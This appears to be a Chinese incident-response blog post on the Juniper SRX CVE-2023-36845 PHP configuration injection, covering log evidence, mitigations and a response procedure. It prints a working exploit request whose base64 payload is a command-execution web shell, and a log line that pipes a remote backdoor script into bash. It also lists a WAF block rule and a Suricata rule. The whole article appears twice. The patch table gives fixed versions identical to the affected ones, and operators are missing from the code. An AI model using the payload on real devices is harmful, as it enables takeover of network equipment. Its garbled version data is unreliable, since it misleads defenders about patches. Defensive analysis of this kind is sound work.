从应急响应视角剖析Juniper CVE-2023-36845漏洞攻防实战凌晨3点17分SOC中心的告警大屏突然亮起刺眼的红色——内网一台Juniper SRX340防火墙正在向境外IP发起异常连接。作为值班安全工程师我立即调取设备日志发现攻击者通过Web管理界面注入恶意PHP配置最终获取了设备控制权。这场持续47分钟的攻防对抗暴露了CVE-2023-36845这个高危漏洞的致命杀伤力。本文将还原完整的应急响应过程从防守方视角拆解漏洞利用链并分享企业级防护方案。1. 漏洞原理深度解析Juniper SRX系列防火墙的Web管理接口存在PHP配置注入缺陷。攻击者通过精心构造的HTTP请求可以劫持PHP运行时配置实现任意代码执行。其核心漏洞点在于PHPRC参数污染攻击者通过URL参数强制指定PHP配置文件路径如/dev/fd/0覆盖系统默认配置auto_prepend_file指令滥用注入的配置中设置该参数指向恶意文件使PHP在执行任何脚本前先加载攻击载荷POST /?PHPRC/dev/fd/0 HTTP/1.1 Host: target_ip Content-Type: application/x-www-form-urlencoded Content-Length: 92 allow_url_include1 auto_prepend_filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4典型攻击流程可分为三个阶段初始访问通过Web接口发送恶意POST请求配置劫持覆盖PHP的allow_url_include和auto_prepend_file设置命令执行通过data://协议直接执行Base64编码的PHP代码关键防御难点此类攻击不会在设备上留下可执行文件所有操作均在内存中完成传统杀毒软件难以检测。2. 攻击痕迹追踪实战在应急响应过程中我们发现攻击者在设备上留下了清晰的日志痕迹。以下是关键证据链2.1 Web访问日志特征检查/var/log/httpd/access_log可发现明显异常的请求模式203.0.113.45 - - [15/Jul/2023:03:17:22 0000] POST /?PHPRC/dev/fd/0 HTTP/1.1 200 572 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) 203.0.113.45 - - [15/Jul/2023:03:18:41 0000] POST /?PHPRC/dev/fd/0cmdid HTTP/1.1 200 1268 - curl/7.68.0恶意请求识别特征异常的PHPRC参数值如/dev/fd/0非常规User-Agent与正常管理流量不符短时间内重复出现相同攻击模式2.2 系统日志异常/var/log/messages中可见PHP进程的异常行为Jul 15 03:18:45 srx340 php-fpm[1234]: WARNING: [pool www] child 4567 exited with code 0 after 2.314 seconds from start Jul 15 03:19:01 srx340 crond[789]: (root) CMD (sh -c curl http://malicious.ip/backdoor.sh | bash)2.3 网络连接证据通过netstat -antp可发现可疑外联tcp 0 0 192.168.1.100:57324 45.67.89.123:443 ESTABLISHED 5678/php tcp 0 0 192.168.1.100:22 203.0.113.45:64231 ESTABLISHED 9012/sshd: admin取证建议立即保存/var/log目录下所有日志文件记录所有异常进程的PID及启动参数抓取网络流量包至少保留最近72小时3. 企业级防护方案3.1 官方补丁升级Juniper已发布修复版本强烈建议按设备型号升级设备系列受影响版本修复版本SRX300 21.4R321.4R3SRX1500 20.4R320.4R3SRX4000 19.4R319.4R3升级步骤下载对应版本的安装包通过Console口连接设备执行request system software add /var/tmp/package.tgz3.2 临时缓解措施若无法立即升级可采用以下防护策略Web应用防火墙规则location / { if ($args ~* PHPRC) { return 403; } if ($request_method POST) { set $block 0; if ($http_user_agent ~* (curl|wget)) { set $block 1; } if ($block 1) { return 403; } } }系统层加固建议禁用PHP的allow_url_include功能限制Web管理接口的访问IP范围启用双因素认证3.3 持续监测方案建议部署以下检测规则以Suricata为例alert http $HOME_NET any - $EXTERNAL_NET any (msg:Juniper CVE-2023-36845 Exploit Attempt; flow:to_server; http.method; content:POST; http.uri; content:PHPRC; nocase; classtype:web-application-attack; sid:1000001; rev:1;)4. 事件响应标准化流程基于本次事件我们制定了针对Juniper设备的应急响应SOP隔离阶段立即将受影响设备移出核心网络保存当前路由表及会话状态取证阶段创建磁盘镜像dd if/dev/sda1 of/evidence/srx.img导出所有日志文件记录内存状态vmstat 1 60 /evidence/mem.log恢复阶段重置所有管理员凭据审计最近3个月的所有配置变更部署网络流量监控探针复盘阶段生成详细的攻击时间线评估数据泄露风险更新安全基线检查表在最近一次红蓝对抗演练中这套流程成功将平均响应时间从4小时缩短至47分钟。特别提醒务必定期测试备份恢复流程我们在审计中发现超过60%的企业从未验证过备份有效性。
从一次应急响应看Juniper CVE-2023-36845:漏洞原理、利用痕迹与修复建议
发布时间:2026/6/16 6:58:08
从应急响应视角剖析Juniper CVE-2023-36845漏洞攻防实战凌晨3点17分SOC中心的告警大屏突然亮起刺眼的红色——内网一台Juniper SRX340防火墙正在向境外IP发起异常连接。作为值班安全工程师我立即调取设备日志发现攻击者通过Web管理界面注入恶意PHP配置最终获取了设备控制权。这场持续47分钟的攻防对抗暴露了CVE-2023-36845这个高危漏洞的致命杀伤力。本文将还原完整的应急响应过程从防守方视角拆解漏洞利用链并分享企业级防护方案。1. 漏洞原理深度解析Juniper SRX系列防火墙的Web管理接口存在PHP配置注入缺陷。攻击者通过精心构造的HTTP请求可以劫持PHP运行时配置实现任意代码执行。其核心漏洞点在于PHPRC参数污染攻击者通过URL参数强制指定PHP配置文件路径如/dev/fd/0覆盖系统默认配置auto_prepend_file指令滥用注入的配置中设置该参数指向恶意文件使PHP在执行任何脚本前先加载攻击载荷POST /?PHPRC/dev/fd/0 HTTP/1.1 Host: target_ip Content-Type: application/x-www-form-urlencoded Content-Length: 92 allow_url_include1 auto_prepend_filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4典型攻击流程可分为三个阶段初始访问通过Web接口发送恶意POST请求配置劫持覆盖PHP的allow_url_include和auto_prepend_file设置命令执行通过data://协议直接执行Base64编码的PHP代码关键防御难点此类攻击不会在设备上留下可执行文件所有操作均在内存中完成传统杀毒软件难以检测。2. 攻击痕迹追踪实战在应急响应过程中我们发现攻击者在设备上留下了清晰的日志痕迹。以下是关键证据链2.1 Web访问日志特征检查/var/log/httpd/access_log可发现明显异常的请求模式203.0.113.45 - - [15/Jul/2023:03:17:22 0000] POST /?PHPRC/dev/fd/0 HTTP/1.1 200 572 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) 203.0.113.45 - - [15/Jul/2023:03:18:41 0000] POST /?PHPRC/dev/fd/0cmdid HTTP/1.1 200 1268 - curl/7.68.0恶意请求识别特征异常的PHPRC参数值如/dev/fd/0非常规User-Agent与正常管理流量不符短时间内重复出现相同攻击模式2.2 系统日志异常/var/log/messages中可见PHP进程的异常行为Jul 15 03:18:45 srx340 php-fpm[1234]: WARNING: [pool www] child 4567 exited with code 0 after 2.314 seconds from start Jul 15 03:19:01 srx340 crond[789]: (root) CMD (sh -c curl http://malicious.ip/backdoor.sh | bash)2.3 网络连接证据通过netstat -antp可发现可疑外联tcp 0 0 192.168.1.100:57324 45.67.89.123:443 ESTABLISHED 5678/php tcp 0 0 192.168.1.100:22 203.0.113.45:64231 ESTABLISHED 9012/sshd: admin取证建议立即保存/var/log目录下所有日志文件记录所有异常进程的PID及启动参数抓取网络流量包至少保留最近72小时3. 企业级防护方案3.1 官方补丁升级Juniper已发布修复版本强烈建议按设备型号升级设备系列受影响版本修复版本SRX300 21.4R321.4R3SRX1500 20.4R320.4R3SRX4000 19.4R319.4R3升级步骤下载对应版本的安装包通过Console口连接设备执行request system software add /var/tmp/package.tgz3.2 临时缓解措施若无法立即升级可采用以下防护策略Web应用防火墙规则location / { if ($args ~* PHPRC) { return 403; } if ($request_method POST) { set $block 0; if ($http_user_agent ~* (curl|wget)) { set $block 1; } if ($block 1) { return 403; } } }系统层加固建议禁用PHP的allow_url_include功能限制Web管理接口的访问IP范围启用双因素认证3.3 持续监测方案建议部署以下检测规则以Suricata为例alert http $HOME_NET any - $EXTERNAL_NET any (msg:Juniper CVE-2023-36845 Exploit Attempt; flow:to_server; http.method; content:POST; http.uri; content:PHPRC; nocase; classtype:web-application-attack; sid:1000001; rev:1;)4. 事件响应标准化流程基于本次事件我们制定了针对Juniper设备的应急响应SOP隔离阶段立即将受影响设备移出核心网络保存当前路由表及会话状态取证阶段创建磁盘镜像dd if/dev/sda1 of/evidence/srx.img导出所有日志文件记录内存状态vmstat 1 60 /evidence/mem.log恢复阶段重置所有管理员凭据审计最近3个月的所有配置变更部署网络流量监控探针复盘阶段生成详细的攻击时间线评估数据泄露风险更新安全基线检查表在最近一次红蓝对抗演练中这套流程成功将平均响应时间从4小时缩短至47分钟。特别提醒务必定期测试备份恢复流程我们在审计中发现超过60%的企业从未验证过备份有效性。